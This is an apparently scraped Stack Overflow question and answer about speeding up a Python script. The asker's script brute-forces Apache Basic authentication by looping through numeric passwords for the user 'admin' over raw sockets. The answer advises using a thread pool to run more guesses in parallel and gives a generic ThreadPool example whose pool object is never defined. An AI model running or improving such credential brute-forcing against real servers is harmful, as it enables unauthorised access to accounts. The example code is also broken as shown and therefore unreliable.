Question

I wish to use a fast brute-force test for Apache authorization, without using urllib or socket lib coding. However, connect() is a very slow task (400/m).

How do I increase the efficiency when repetitively using the connect() function (without a multi-process approach; just at the code level)?

for num in xrange(1,10000):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
    if '200 OK' in(s.recv(32)) :     
        print 'got password !',str(num)
    s.close()
Was it helpful?

Solution

You can use thread pools. Look at the multiprocessing.pool.ThreadPool package. You can create a pool of size N and then use a the imap_unordered() in a for loop to connect, send, and receive for each thread.

You can also use multiprocessing.pool.Pool for a pool of processes (versus thread), but it sounds like this will be I/O bound, so the ThreadPool would be better, IMHO.

For example:

from multiprocessing.pool import ThreadPool as Pool
import random
import time

def do_something(x):
    delay = random.randint(1,3)
    time.sleep(delay)
    return x,delay

for i, result in pool.imap_unordered(do_something, range(10)):
    print i, result
Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top